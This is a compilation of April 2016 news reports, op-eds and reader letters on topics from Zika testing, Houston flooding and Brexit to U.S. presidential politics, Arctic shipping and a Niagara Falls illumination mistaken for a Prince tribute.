From Jan. 3 to March 5, 4,534 people in the U.S. were tested, including 3,335 pregnant women. About a third of those tested reported at least one Zika symptom, and nearly 12 percent of individuals with symptoms tested positive. Of the 2,425 asymptomatic pregnant women, only seven tested positive.

Not 'if' but 'when'

So far, 358 individuals have been diagnosed with Zika in the United States, including 31 pregnant women. Seven of the cases were sexually transmitted, while the remainder were all infected outside the country.

Zika also can be passed on through sexual contact, and the CDC has recommended that men refrain from unprotected sex for at least eight weeks after traveling to an affected region or six months after developing symptoms. There is no evidence now that women can transmit the virus to their sexual partners.

Health officials are urging those infected with the virus to wear mosquito repellent and take other precautions to avoid being bitten to keep the virus from infecting the local mosquito population.

While experts expect some outbreaks of Zika in the U.S. in the coming months, so far, there have been no confirmed cases of someone infected with Zika through a mosquito bite within the country.

"Our planning isn't if, it's when," Dr. John Hellerstadt, commissioner of the Texas Department of State Health Services said at a Zika Virus Summit in Dallas on Wednesday. "We know the devastating effect for women of childbearing age, and that risk will only increase."
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On the first day of rain vacation, Michael Weinstein biked around his Cypress neighborhood, marveling at how high the water rose.

Tuesday, it was still exciting, if sobering. Friends who had their homes destroyed by this week's sudden 240 billion-gallon downpour of rainfall texted about dragging out wet furniture and trying to rescue waterlogged electronics.

By Wednesday, the 14-year-old said, it had all become "pretty boring," at least for him. Thursday, when his family's power went out and he could no longer charge his phone, the novelty had completely worn off.

More than a quarter-million students in the Houston region will have been out of school for five consecutive days Friday because of the powerful storms that left swaths of the region more soaked than they have been in 15 years. It is the longest period that area schools have been closed since Hurricane Ike devastated the region in 2008.

Everywhere, parents were scrambling.

"We're ready to get back," said Michael's mother, Candice. "Absolutely."

To be sure, the Weinsteins know their worries are comparatively pedestrian. More than 2,000 homes were damaged in this week's torrential rains and eight people were killed. County officials estimate more than $8 million in damage so far and rescue workers responded to more than 2,300 calls for help

But for the hundreds of thousands of parents left suddenly stranded without childcare, the rain was also a giant pain. Cypress-Fairbanks, Katy, Klein, Royal, Sealy, Spring, and Wharton independent school districts were closed this entire week and school officials said they don't know yet when they will make up the time.

The Texas Education Commission has agreed to grant waivers for at least two of the days and will work with districts on options for the others.

Big appetites

"These kids are eating us out of house and home," said Monica Garcia, president of the Parent Teacher Association at Zelma Hutsell Elementary School in Katy. "I'm not used to having them at home the whole time. It's the first time ever that I've gone to the grocery store twice in one week."

Garcia, who lives in an area of old Katy that was particularly slammed by the storms, said her block was somehow saved, but everything around them was underwater.

"We were scared to leave our home. We were scared to go anywhere," the mother of three small children said. "We just braced and hoped and prayed that it wouldn't come up any further."

But as the water began to recede, the panic started to fade and boredom set in. There were living-room dance-offs, puzzles, extra-credit homework.

"It's just constant new creative ideas to keep these kids busy," Garcia said. "But it's hard for me to complain when we have all these other families out there that are left with nothing."

Kim Jackson, who works at the Whole Foods Market in Katy, said safety obviously comes first for parents.

"I get it," she said. "But both me and my husband work."

She added, "One day is fine, two days, OK. But three days, a whole week? That's been a little complicated."

Jackson admits she is fortunate. Her 12-year-old daughter Makayla took care of the two little ones and they relied on neighbors to check in.

But others had to sacrifice their jobs.

Anthony Navarro runs an IT support business for small companies and has the flexibility, at least, to work from home. But with 11-year-old Joshua and 4-year-old Caleb stuck inside all week, some business eventually had to give. There's only so much board-gaming and TV-watching two small boys can do.

So Navarro joined a flood of desperate parents at the Children's Museum in Houston on Thursday where Caleb flung a ball on a catapult to knock over a stack of blocks.

Nearby, Rob MacGregor watched as his two sons gazed into a mirrored kiosk and drew yellow, green, blue and brown lines all over their faces.

"Daddy, look!" shouted Ben, who is five, pointing at his brightly-lined face.

"You gotta get more on your forehead," advised MacGregor, a 10th-grade English teacher at Seven Lakes High School in Katy.

Out of the house

The activity and fresh air were a welcome respite from four days of living-room forts and Super Mario video games. But MacGregor said he hoped his high school students were hard at work at home. A paper is due next week and given the week off, the teacher said he'd accept no excuses.

At the Harris County Library Cy-Fair College branch at Lone Star College, Sane'e Bell, a principal at Cimarron Elementary in Katy, tried to catch up on work at her computer while her daughter paged through a stack of books.

They live in the Cypress-Fairbanks Independent School District, where 6-year-old Paige attends Warner Elementary, so in a stroke of rare luck both had the week off. At first it seemed like a rare gift of time: They played dominoes, watched movies.

"Then the cabin fever started to set in," Bell said.

Some older children used the break to help those who had struck out in the storm. Cassie Neitzey, a special education coordinator at Cypress-Fairbanks, said a group of students at the district who attend the nearby John Wesley United Methodist Church spent Thursday cleaning out the home of a family who rescue workers had evacuated by boat.

"The street is still full of water," Neitzey said. "But we took out all the carpet, the baseboards, all the wood furniture that was not salvageable and put it into the yard."

With more than a foot of rainfall in the house, photo albums, books, toys, even a wedding dress had been almost completely ruined.

Offering help

Candice Weinstein tried to help out, too. The stay-at-home mom took in three neighborhood kids with working parents and hosted movie nights and sleep-overs.

"Everyone is scrambling," she said. "We're just trying to help out the neighbors."

The family moved to the Lakes of Fairhaven gated community in January from Maryland, where they were accustomed to having snow days off school.

"But we're not used to this much rain all at once," Weinstein said.

At least during rain days, one can wear flip-flops, the mother said, debating the merits of the two.

But Michael, her eldest, said, "It really depends on whether you like to go kayaking or tubing."

The family, unfortunately, left their kayak behind up north.
President Barack Obama joined European leaders in their struggle to deflect a dagger aimed at the heart of the continent's political unity.

It's the combined impact of home-grown terrorism, mass migration from the Middle East and North Africa, sluggish economic growth, the lingering effect of the sovereign debt crisis and a groundswell of nationalist sentiment.

European unity "is under strain," Obama said at a press conference with British Prime Minister David Cameron on Friday. He offered hope that "the ties that bind Europe together are ultimately much stronger than the forces that are trying to pull it apart."

The news conference came on the first full day of a visit to the continent that also will include a summit in Germany on Monday with leaders of Europe's four largest economies. He came directly from a conference in the Middle East with Saudi King Salman and leaders of other Persian Gulf Arab states, a meeting at which the Syrian civil war and regional instability driving migration to Europe figured prominently.

Economic and cultural ties between the nations of Europe haven't been so strained since the Maastricht Treaty created the European Union in 1993. An influx of more than a million migrants last year has given new life to xenophobic political parties. Terrorist attacks in Paris and Brussels have fueled concern about the continent's lenient border controls and internal security. The British government has warned that a vote to leave the union would grievously damage both the British and European economies.

"It's the confluence of these crises that is so striking," said Karen Donfried, a senior Obama adviser on Europe until 2014 who's now president of the German Marshall Fund of the United States.

A fracturing of the 28-nation EU or a descent into dysfunction would undermine growth prospects for an economic bloc that is America's largest trading partner and would threaten cohesion among the U.S.'s bedrock allies. In the worst case, divisions could unravel a project of integration that, since its inception as a six-nation coal and steel trade bloc in the aftermath of World War II, has maintained a rare period of extended peace among the major nations of a continent once racked by warfare.

Obama published an opinion article in the Daily Telegraph newspaper shortly after landing in London on Thursday that urged British voters to reject a so-called Brexit. He amplified his message in the news conference, pointing to the relative peace and economic prosperity Europe has enjoyed since World War II.

Europe in the 21st century "looks an awful lot better" than in the 20th century, he said in the news conference. "I think a majority of Europeans recognize that." The Brexit vote "will send a signal that is relevant about whether the kind of prosperity that we've built together is going to continue."

He also issued a veiled economic threat, warning Britons to be wary of claims made by Brexit backers that the United States would quickly reach a trade agreement with Britain to maintain preferences the country receives as part of the European Union.

"Maybe at some point down the line there might be a U.K.-U.S. trade agreement, but it's not going to happen anytime soon," Obama said. "The U.K. is going to be in the back of the queue."

Obama arrived in London well aware of the delicacy of a foreign leader taking sides on matters that are essentially internal European issues. London Mayor Boris Johnson, who favors leaving the EU, told the Associated Press "it's paradoxical that the United States, which wouldn't dream of allowing the slightest infringement of its own sovereignty, should be lecturing other countries about the need to enmesh themselves ever deeper in a federal super-state."

Obama approached the subject gingerly, saying he didn't come to "fix the vote" but address a subject in which the U.S. has a "deep interest."

"Part of our special relationship, part of being friends, is to be honest and to let you know what I think," Obama said.

Support for European unity has been a foundation of U.S. global strategy under both Democratic and Republican administrations for decades.

"If you start seeing divisions in Europe, that weakens NATO," Obama said. "That'll have an impact on our collective security."

He will likely revisit the subject at a town hall for young people on Saturday, as well as in a speech in Germany on Monday.

As a presidential candidate, Obama attracted his largest crowd of the campaign at an outdoor rally in Berlin in 2008, with estimates that as many as 200,000 people attended. He remains a popular figure in Europe. Seventy-six percent of Britons and 73 percent of Germans said they had confidence in him to do the right thing in world affairs, according to Pew Research Center polls published last year. Only 58 percent of Americans agreed.

Obama is even more popular among Europe's youth, and the president's schedule in Britain, including the event for young people, is "very clearly geared at driving youth turnout in the referendum because young people are more pro-European," said Jacob Kirkegaard, a senior fellow at the Peterson Institute for International Economics in Washington.

While Cameron's strategy to defeat Brexit emphasizes warnings of economic peril, that provides an opening for Obama to lay out a positive vision for Britain's future in the European Union, Kirkegaard said.

In Germany, Obama's other stop, Chancellor Angela Merkel, the continent's dominant political figure, has been weakened by the flood of refugees into her country. Obama will offer his appreciation for Merkel's "bold leadership in responding to the refugee crisis," said Charles Kupchan, the National Security Council's senior director for European affairs. "The president wants to provide political support to her for doing so."

More than a million migrants entered Germany last year. The influx is credited for losses by Merkel's party in three state elections last month, as well as the rise of Alternative for Germany, a populist-right party whose platform calls for closing the nation's borders.

Even some Germans who support resettling refugees are dismayed by Merkel's handling of the crisis, particularly her concessions to Turkish President Recep Tayyip Erdogan in a bid to slow the flood of migrants. In addition to a 6 billion euro ($6.7 billion) aid package offered by the EU, Merkel granted Turkey's request to prosecute Jan Boehmermann, a German satirist who lampooned Erdogan in a bawdy poem. Members of Merkel's governing caucus said the decision was anti-democratic.

Merkel back-tracked on Friday. While sticking with the decision to open a criminal case against the comedian, she apologized for comments she and her press secretary made criticizing the poem because they may have suggested that press freedom "is no longer important."

"I'm angry at myself that I spoke of 'deliberately hurtful' on April 4 because that created the impression that my personal opinion has anything to do with this," Merkel said at a news conference in Berlin. "In retrospect, that was a mistake."

Obama will confer on Monday in Hanover with Merkel, Cameron, French President Francois Hollande and Italian Prime Minister Matteo Renzi regarding the Syrian civil war and strife in Iraq, Libya and Afghanistan that is fueling migration to Europe, as well as counterterrorism programs and a strategy to counter Russian President Vladimir Putin's aggressive moves in Eastern Europe.

--With assistance from Toluse Olorunnipa
Update, 3:52 p.m. on April 22:

AUSTIN -- Texas health and human services director Chris Traylor officially announced his retirement plan Friday, one day after word of the move leaked out.

"I have enjoyed the opportunity to serve you as your Executive Commissioner over the past year, and I believe that the time is right for me to go," Traylor said in an email to all staff at the Texas Health and Human Services Commission.

Traylor's last day will be May 31.

Original post, 6:18 p.m. on April 21:

AUSTIN -- For the second time in a year, Texas is losing its top health and human services official.

Chris Traylor, who has led the Texas Health and Human Services Commission since last summer, is planning to retire next month, according to three sources briefed on the decision.

The move likely paves the way for the mega-agency to be led by Charles Smith, a longtime aide to Gov. Greg Abbott who is currently serving as Traylor's deputy. Abbott will get to choose the replacement.

Spokesmen for Traylor and Abbott both declined to comment late Thursday.

The retirement is not entirely unexpected; Traylor, 53, who has worked in Texas health and human services since 1997, had decided to retire last spring. However, he was convinced to instead take the top job at the agency when then-Executive Commissioner Kyle Janek resigned last June in the aftermath of a no-bid contracting scandal.

At the time, Janek, who had been on the job for less than three years, said, "history will show this job has a shelf life."

Indeed, the Texas Health and Human Services Commission has cycled through several executive commissioners in recent years. The mega-agency, which includes the departments of State Health Services, Family and Child Protective Services, Aging and Disabilities Services and Assistive and Rehabilitative Services, has a $30 billion budget and employs 60,000 employees working on everything from Medicaid to abortion, foster care and mental health services.

Under Traylor, who had been Janek's longtime second-in-command, the commission appeared to be moving on from the contracting scandal and entering a period of relative stability.

A new crisis emerged this year, however, when a federal judge declared the state foster care system unconstitutional, kicking off a series of negative news stories about turnover, children sleeping in state offices and a homicide at the University of Texas at Austin in which the suspect had run away from a foster care placement.

Prior to joining the Health and Human Services Commission last summer, Smith had served as deputy attorney general for child support under Abbott. The Texas Tech University alumnus had been with the Attorney General's office since 1988, first as a volunteer in the child support division.
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JERSEY CITY, N.J. - Republican presidential candidate Donald Trump said Thursday that transgender people should be able to use whichever bathroom they choose, wading into one of the most contentious issues in politics and opposing many in his party.

Speaking at a town hall event on NBC's "Today," Trump was asked about North Carolina's so-called "bathroom law," which, among other things, requires transgender people to use bathrooms corresponding to the gender on their birth certificate in state government buildings as well as public schools and universities.

Trump said the law had caused unnecessary strife for the state, which he said had paid "a big price" economically.

"There have been very few complaints the way it is. People go, they use the bathroom that they feel is appropriate," said Trump. "There has been so little trouble."

After the law was signed in late March, Deutsche Bank halted plans to add 250 North Carolina jobs, while PayPal reversed a decision to open a 400-employee operation center in Charlotte. Local tourism boards also have said they've lost millions of dollars thanks to canceled conventions and business meetings.

Trump's main rival, Texas Sen. Ted Cruz, immediately fired back, saying that Trump is giving in to "political correctness."

"Grown adult men, strangers, should not be alone in a bathroom with little girls," Cruz said.

His campaign also released a statement declaring Trump "no different from politically correct leftist elites."

"He has succumbed to the left's agenda, which is to force Americans to leave God out of public life while paying lip service to false tolerance," it read.

The comments came as Trump drew closer to clinching the Republican nomination with a big win in his home state of New York earlier this week. If he becomes his party's nominee, Trump is likely to face pressure to moderate some of his stances to appeal to independents and women in the general election.

Trump said at the town hall that he didn't know if any transgender people work for his organization but that some "probably" did. Asked about Caitlyn Jenner, an Olympic gold medal winner then known as Bruce Jenner, using the bathroom in Trump Tower using the bathroom, he said would be fine with her using any bathroom she chooses.

Still, Trump said he's opposed to efforts to create new, transgender bathrooms alongside single gendered ones, calling that push "discriminatory in a certain way" and "unbelievably expensive for businesses and the country."

Meanwhile, the state's Republican governor, Pat McCrory, defended the law in a statement from his re-election campaign, blaming the Charlotte city council for passing an "unneeded and overreaching ordinance."

"Where the governor disagrees with Mr. Trump is that bathroom and shower facilities in our schools should be kept separate and special accommodations made when needed. It's just common sense," said the statement from campaign spokesman Ricky Diaz.
Life lessons

Regarding "Parking fee should be the last thing on graduates' minds" (Page G1, Sunday), USA Today reports the average K-12 parent will spend $100 per student on school supplies this year. If clothing, shoes and electronics are included, the annual total averages $669. But students, even "disadvantaged," supposedly can't afford spending $12 a car - not per student - to celebrate their big graduation achievement?

And columnist Ken Hoffman oddly adds that $12 is a "dinner out to celebrate." What? One student and one friend can barely cover a Big Mac meal each in a $12 "celebration."

Art Adair, Houston

Solutions

Regarding the suggestion by Hoffman that local businesses consider sponsoring paid parking for local graduating high school seniors at NRG Stadium: I think that is a swell idea.

Many high school graduates in our area come from economically disadvantaged families, and the $12 parking fee can be an obstacle which may be difficult to overcome.

I fear that it may be too late this graduation season to implement such a plan but hope that the leaders of the Houston business community can form a coalition to accomplish this strategy for next year's graduates.

Bill Bentley, La Porte

Celebration

I've also had the privilege of attending graduations where many of the students were the first in their families to finish high school. What celebrations those were.

If I had the money, I'd offer to pay for all the parking, but then the money would go to somebody who doesn't deserve it.

I hope this can be worked out so kids don't show up without cash only to find out they can't attend their own graduation. To whomever is in charge: Do the right thing!

Carolyn Truesdell, Houston
Dr. Phil Bedient went to bed Sunday night with an uneasy feeling about the weather. A civil engineering professor and the creator of the Rice University and Texas Medical Center's Flood Alert System, Bedient awoke in the predawn hours with his worst fears confirmed. Brays Bayou was predicted to flood. He checked in with the Medical Center, where officials had been monitoring his system all night, and they had literally battened down the hatches several hours before Bedient awoke.

Working together, Rice University and the Texas Medical Center have developed a "Flood Alert System." It predicts flooding based on Doppler radar, which measures actual rainfall, hydrologic modeling of runoff, and real-time data from rain gauges and bayou levels.

The system has been fine-tuned over the past 15 years. Early Monday, the system accurately predicted Brays Bayou's maximum flood stage several hours ahead of the actual peak water flows.

It's abundantly clear that Houston's geography, climate and all the pavement in Harris County mean that flooding is a permanent threat to our city. It's time to harness technology to help to provide real-time warnings when dangerous conditions loom.

It's been less than 12 months since last year's Memorial Day floods, and 15 years since Tropical Storm Allison. But unlike 2001, today we have exponentially better tools to track where and how much it's raining, predict which bayous will flood when, and identify the roads and highways that will soon be impassable.

Most of us carry a computer in our pocket, by which this data can inform emergency responders, motorists and homeowners as storm events unfold.

The Harris County Flood Control District, in part with federal dollars, has made huge investments in broadening our bayous to move more water and in digging huge detention basins that capture water and slowly release it. Future dollars will be tough to come by in a tight fiscal environment.

In the energy capital of the world, where we lead the planet in managing huge infrastructure projects and in the real-time gathering, processing and dissemination of data to monitor and manage energy flows, we are back in the 1960s when it comes to managing real-time information about calamitous flooding events.

Sensor and communications technology is cheaper than ever, and we have the ability to process and crunch data as it comes in. With the right sensing and software tools, experts can predict flooding on particular bayous on a real-time basis. It's inexcusable that a system like that used by the Medical Center to predict flooding hasn't been developed and deployed countywide. Such a system could be developed for a tiny fraction of the cost of automotive damage in this week's flood, to say nothing of the tragic loss of life.

While a few hours of advance notice isn't much time, it's enough for police to shut down roads that they know will flood and cause fatalities instead of responding after the fact, something that would have saved lives in the storms we experienced last year and this week. For homeowners, an extra two hours is an eternity when it comes to securing valuables.

Imagine an app or alert system that tells you which roads around you will flood and which parts of town will have a foot of surface water. The technology is all there.

Now contrast this with today's haphazard "system" - TV reports of flooding after the fact, flood gauge data on obscure web sites, TxDOT traffic cameras peering into the night, and National Weather Service flood warnings that cover the entire county without any localized information on local drainage ditches, bayous, streets and highways.

In the aftermath of these back-to-back storms, and with hurricane season soon under way, we'll all be getting advice from public officials on how to prepare. Let's demand that these public officials harness technology to equip Houstonians and our first responders with the information they need to face the storms we know are heading our way.

Skelly is an energy infrastructure entrepreneur.
The U.S. Senate seemed poised to pass legislation to address the country's mental health crisis and help ensure Americans suffering from mental illness and substance use disorders receive the care they need. Then efforts arose to merge Texas Sen. John Cornyn's mental health reform bill with a proposal that has received bipartisan support in a key committee.

Cornyn's Mental Health and Safe Communities Act of 2015 would do many good things, including promoting collaboration between federal, state and local criminal justice systems to improve responses to people with mental illnesses. However, provisions in Cornyn's bill would require a full judicial hearing to ban someone from buying a gun due to mental illness and would allow a person who had been committed for mental illness to purchase a gun upon expiration of the judge's commitment order.

Given concern about the bill's gun-access provisions, congressional action on mental health reform could delay or come to a halt.

And that's not good news for the 1 in 17 adults each year who must grapple with a serious mental illness. People suffering from mental health disorders and others who must live with the consequences of their disease deserve better than to have mental health legislation hijacked by the perennial ideological battle over gun regulations.

Thankfully, Houstonians are acting while politicians in Washington are mired in gun politics.

Philanthropist Maureen Hackett started the Mental Health Channel to help overcome the stigma attached to mental illness. Too often that very stigma discourages individuals or families from seeking diagnosis or treatment. The channel creates mental health and wellness programming, and is free for anyone with an Internet connection. MHC - viewed in 140 countries - helps people share their own stories about overcoming mental health challenges. The more people share their stories, the more likely it is that others will learn and feel comfortable seeking help.

Early diagnosis is important: One-half of all chronic mental illness begins by the age of 14; three-quarters by age 24, according to the National Alliance on Mental Illness. Even though early engagement and support improve outcomes, many youth with mental health issues lack access to care. African Americans and Hispanics in 2012 used mental health services at about one-half the rate of whites. Asian Americans used the services at a third of the rate of the demographic majority. With funding from the David and Helen Gurley Brown Trust, Houston's Menninger Clinic has established BridgeUp Center, which partners with nonprofits to implement after-school mentoring programs for vulnerable, low-income youth.

In addition, Harris County District Attorney Devon Anderson unveiled a sweeping plan Wednesday that would keep low-level, nonviolent offenders out of the crowded Harris County Jail, which serves as the largest de-facto mental health facility in the state. The plan includes a diversion court to handle about 8,000 nonviolent offenders and a new system to make it easier for defendants to gain release without posting bail ("County warm to jail reform" Page A3, April 15).

Many who are arrested for minor offenses cycle in and out of local jails and emergency rooms at substantial costs to taxpayers. Incarceration does not break that cycle. Many nonviolent inmates need mental health services, as well as related support to address the root causes of their problems. Anderson's plan is a start, and the bipartisan support it is drawing demonstrates that political cooperation is possible on the subject of improved mental health care.

It's a lesson that Congress would do well to learn.
The Boston Globe is reporting Thursday that Hillary Clinton will consider putting another woman on the ticket as her vice presidential nominee this fall.

The first name on almost every Democrat's lips is Elizabeth Warren, the freshman Massachusetts senator who is beloved among liberals and regarded as the animating force behind the grassroots energy that has propelled Bernie Sanders's presidential campaign against Clinton. Writes the Globe's Annie Linskey:

"Warren is one of the few Democratic women with national name recognition and a big following among progressives, a voting bloc Sanders has energized. Having Warren on the ticket could help Clinton stitch the party back together after a divisive primary."

True. And also true that Democrats have surprisingly few women prominent enough nationally for Clinton to seriously consider them for the national ticket. Aside from Warren, the names you regularly hear are Sens. Amy Klobuchar, Minn., and Kirstin Gillibrand, N.Y. The Globe's James Pindell floats former Arizona Gov. Janet Napolitano, Washington Sen. Patty Murray and New Hampshire Sen. Jeanne Shaheen as well.

Warren is clearly a first among equals in that group both for her fundraising prowess and her status as an icon of the liberal left. But my strong sense is that Clinton and her inner circle will pick Warren only as a sort of last resort.

Here's why. Warren hasn't endorsed Clinton in the presidential race, the only female Democratic senator in that position. "What I'm glad to see is what's happening right now, and that is that the Democrats are out talking about the issues," Warren said in an interview with CBS in mid-March. "I think it makes it very distinct what happens between our side and what's happening over on the other side. They're doing some kind of reality show, we're out here trying to talk about the issues that affect the American people."

And not only has Warren not embraced Clinton, she has been a thorn in the the frontrunner's side for much of the 2016 race. Her allegations that campaign contributions from the banking industry changed Clinton's mind about the need to overhaul bankruptcy laws became a talking point for Sanders during a debate earlier this year.

What's been made obvious during the course of the Clinton-Sanders primary fight is that the electorate is split into Democrats who believe Wall Street needs to be closely watched and regulated but is not fundamentally evil and Democrats who believe Wall Street is corrupt through and through and must be treated as such. Clinton is on one side of this divide, Sanders and Warren are on the other. This passage, taken from Ryan Lizza' terrific May 2015 profile of Warren in the New Yorker, is telling:

"Warren believes that, when it comes to economic policy, there is a Wall Street view and a Main Street view, and Democrats must choose sides. Her critics argue that this is simplistic and naive, but she has buoyed many on the left who are critical of President Obama's economic policies and advisers for being excessively influenced by Wall Street. Warren was especially unimpressed by the President's first Treasury Secretary, Timothy Geithner, who was appointed at the start of the financial crisis. "I was shocked that he picked the person who had just done the bailouts through the New York Fed," she said. "I assumed that the President would want to carve a different path, and want to separate himself from the Republican-led bailout." She added, "Tim Geithner came from the New York Fed, which, effectively, works for Wall Street." (Geithner declined to respond on the record to Warren's criticism of him.)"

As Lizza goes on to report, Clinton allies believe Warren's views on the economy -- and the real root causes of wage stagnation and income inequality-- are overly simplistic and reflect a lack of deep understanding of how the world actually works. "The challenge of wage stagnation is that it's happening in large swaths of the economy, many parts of which are relatively untouched by the influence of the banks," one Clinton adviser told Lizza.

When picking a vice presidential nominee, the single most important factor is chemistry. While some people were stunned by Barack Obama's selection of Joe Biden as his vice president, it's become clear over the past seven years that the two men have a natural rapport and respect for one another that works for them. Ditto George W. Bush and Dick Cheney although that relationship frayed and eventually tore over deep disagreements over policy and approach.

There appears to be very little warmth between Clinton and Warren. Clinton views Warren as someone able to embrace a Manichean view of Wall Street (and the world) because she has the luxury of not needing to ever really deal with people who feel differently. (Massachusetts, particularly at the federal level, is effectively a one-party state.) Warren views Clinton in much the same light that Sanders has cast the former secretary of state in this campaign: Prone to deal-making and insufficiently committed to core liberal principles.

That, typically, is not the foundation on which vice presidential nominees are built.

There is only one scenario I can see where Clinton picks Warren: If she feels as though she has to. How would that come about? If the rift with Sanders and the liberal left coalition he represents worsens over the course of the final six weeks of the presidential primary process and Clinton and her team believe that the only way to heal and unite the party before the general election is to go with the liberal hero as VP.

At this point, there's very little evidence that Clinton has that sort of major uprising on her left. In New York's primary on Tuesday, Sanders won voters who described themselves as "very liberal" by 12 points. But Clinton won those who said they were "somewhat liberal" by 18. In a March Post-ABC national poll, 77 percent of liberal Democrats said they would be satisfied with Clinton becoming the party's nominee, 82 percent said they would be satisfied with Sanders. Liberals may prefer Sanders, but they also like Clinton. And that almost certainly goes double if their choice in a general election is between Clinton and Donald Trump or Clinton and Ted Cruz.

Seen through that lens, Warren is more of a specialized pick to fix a very particular problem -- which doesn't exist yet and likely won't -- than she is a true short-lister to be Clinton's vice president. Short of the "panic button" scenario I lay out above, I don't see Clinton even seriously considering Warren to be her second-in-command.
This week at the Capitol, my legislation creating the crime of illegal reentry, Senate Bill 612, was perfected and passed in the Senate. This bill would make it a Class C felony  carrying a 1 to 7 year prison sentence  for any unauthorized alien who has been removed from the country for criminal violations to commit certain additional crimes in Missouri. The bill would also criminalize unauthorized immigrants who move to Missouri after having committed felonies in other states. The punishable crimes include misdemeanor assault, domestic assault and certain felony offenses. This legislation would also mandate any facility managers who are detaining an illegal alien upon their arrest for illegal reentry to transfer the detainee to the U.S. Immigration and Customs Enforcement Agency as soon as possible.

Senate Bill 612 would work to protect the innocent, law-abiding citizens of Missouri from illegal immigrants who have the intent to do them harm. By establishing the crime of illegal reentry as a Class C felony, SB 612 would work as a preventative measure to dissuade illegal criminals from coming to our state and hurting our fellow Missourians.

According to a report published by the Pew Hispanic Center, there were an estimated 70,000 unauthorized immigrants living in our state in 2011  and many of those individuals have come here with criminal intent. The federal government has a responsibility to enforce certain immigration laws that work to protect the American citizenry, but right now, theyre simply not taking the necessary action we need to feel safe in our own homes. This is why SB 612 is so important. This problem needs to be addressed and stopped as quickly as possible.

The threat of illegal aliens causing violent crimes is popping up all across the country  not just in Missouri. Since 2010, 124 illegal immigrants who were turned loose by the federal government have been tied with 138 murder cases after their release  some of them for their second, third or even fourth times. Just over one month ago, four illegal immigrants from Guatemala were charged in a rape and vicious beating case in Massachusetts. One Mexican immigrant who had been accused of slaying five people throughout the Midwest, including victims in Kansas and Missouri, had had previous run-ins with law enforcement. This individual was able to return to the U.S. illegally and avoid American immigration officials, after which he went on a killing spree. The incompetence of the federal government in handling extremely violent illegal immigrants such as these show why defensive legislation needs to be implemented here in Missouri, and other states across the country.

Since SB 612 has been perfected and passed in the Senate, it has moved to the House for a first reading, and hopefully, its eventual passage. I hope that my fellow lawmakers and Show-Me state residents will stand up in support of this protective legislation, as it really is a necessary defense for of our families, neighbors and fellow Missourians safety.

Mike Cunningham is a Republican member of the Missouri State Senate, representing District 33. Contact him at 573-751-1882 or www.senate.mo.gov/cunningham
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In the face of an increasingly tighter labor market, staffing companies are being challenged in a way that they have not seen in nearly a decade. We got used to an "employer's market," where we had a huge pool of employees available for clients' needs. Employees were coming to us for jobs. After years of an economy that was sluggish at best, that situation has turned around, at least for reasonably skilled workers. This varies by region and market, of course. In the case of our company, Employee Solutions, which operates in Texas, Oklahoma, and Arkansas, some of our clients' markets are less tight due to oilfield layoffs. But other locales  particularly in the larger cities  are sizzling markets, with robust demand for employees. While the staffing industry was able to foresee a lot of this shift, we have still been surprised by how quickly and severely the skilled labor market tightened. Yes, we still are able to attract several hundred job applicants per week, and we have tens of thousands of employees in our candidate pool, but it's always a matter of finding the right match. Economists explain that the market response to a tighter labor environment is to raise wages. However, that is one thing a staffing company can rarely do; the pay rate determined by the client. If we cannot fill the jobs at the existing pay rate, we have to analyze the market and consult with clients to help them understand a higher pay rate will ...
le it is vital for business leaders to have a grand vision for the initiatives they have in mind, it is not always necessary to communicate these ideas far and wide, said Klaus Duetoft, senior director of HR at eBay Australia & APAC.Just because you have a blueprint in your mind for where the organisation is going to go over the next five years, it doesnt necessarily mean you should share that blueprint, he said.If I share where I think the organisation will be in five years time, people will think Im joking. Youve got to marry the vision to the dynamics of the organisation and industry.It is also important to consider what the audience expects before you share your grand plans, he suggests. Looking at how you engage with your audience can also be helpful.How do you allow them to own the next iteration of that project? he asked. Rather than it being seen as, This is HRs idea, how do you change that to, This is us, collectively, evolving our organisation to ensure were set up for future changes?As well as determining how much of your grand vision you should share, it is also important to know when to celebrate success along the way, Duetoft said. However, HR should remember that not everything is going to be a celebratory milestone too, he added.Its about expectation management. If youre managing expectations, you can say, This is how were progressing with confidence.If change is expected to occur rapidly, installing roadmaps that have clear outcomes can be a good idea so that progress can be measured in a tangible way.That adds to credibility, he said. But it also gives you the ability to recognise the milestones you should celebrate.Acknowledging people who are leading these initiatives, whether or not they are tied to a direct milestone, is also vital for HR, he added.If theyve gone through a particularly turbulent technology implementation, for example, I then think its appropriate to tie those milestones to a broader business outcome.
China wants to run tankers right up our Northwest Passage.

Not to find the hand of Franklin. But to ship goods to North America's East Coast ... and challenge Canadian jurisdiction over Arctic waters.

A guidebook produced by China's Maritime Safety Administration (MSA) shows that the People's Republic wants to use Canada's northern waters as a shortcut to the Atlantic, The Globe and Mail reported.

Ships currently have to reach it through the Panama Canal  a route that takes about 40 per cent more time.

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The 365-page "Arctic Navigation Guide (Northwest Passage)" pitches the Northwest Passage as a shipping route by noting that the Nunavik, an ore-carrying ship, made the first unsupported voyage from Deception Bay, Que. to China in 2014.

"There will be ships with Chinese flags sailing through this route in the future," MSA spokesman Liu Pengfei said Tuesday.

"Once this route is commonly used, it will directly change global maritime transportation and have a profound influence on international trade, the world economy, capital flow and resource exploitation."

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The Northwest Passage is a route that runs from the Pacific to the Atlantic Oceans via a series of channels through the Arctic.

The Government of Canada projects that it could become a valuable trade channel if climate change opens it up to more shipping activity.

Sea ice currently makes it difficult to pass through for much of the year. But analysts say it could be ice-free for entire summers as soon as 2050.

Canada has asserted its jurisdiction, over the Northwest Passage  but other countries, such as the United States, claim the region is international waters. China hasn't said where it stands on Canada's authority over the waters.

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But there are concerns over whether Canada even has the resources to assert its sovereignty there. Observers say Canada needs than the five icebreakers it currently has on hand.

China's interest in the Northwest Passage could represent "the biggest direct challenge" to Canada's sovereignty over the waters, University of Calgary professor Rob Huebert told The Globe and Mail.

For its part, the federal government is paying close attention.

Joseph Pickerill, a spokesman for Foreign Affairs Minister Stephane Dion, told The Guardian that no one has an automatic right to sail through the passage.

"We welcome navigation that complies with our rules and regulations," he said. "Canada has an unfettered right to regulate internal waters."

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But cargo ships aren't the only vessels expected to travel the Northwest Passage.

Crystal Cruises will run a 32-day voyage from Alaska New York City via Arctic waters aboard the Crystal Serenity this summer.

The trip costs $21,855 per person.
Talk about timing.

Niagara Falls turned purple on the same day that legendary musician Prince died at the age of 57.

Even Niagra Falls is purple tonight. pic.twitter.com/46rMQb6GN2  Belle Es You (@SouthernbeLLSU) April 21, 2016

I can't believe they made niagra falls purple for Prince on such short notice  Wheedler (@notover9000) April 21, 2016

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Problem was, the purple tribute was not actually for music royalty.

The agency that manages Niagara Falls had previously announced that the famous attraction would be illuminated purple in honour of Queen Elizabeth II's 90th birthday on Thursday.

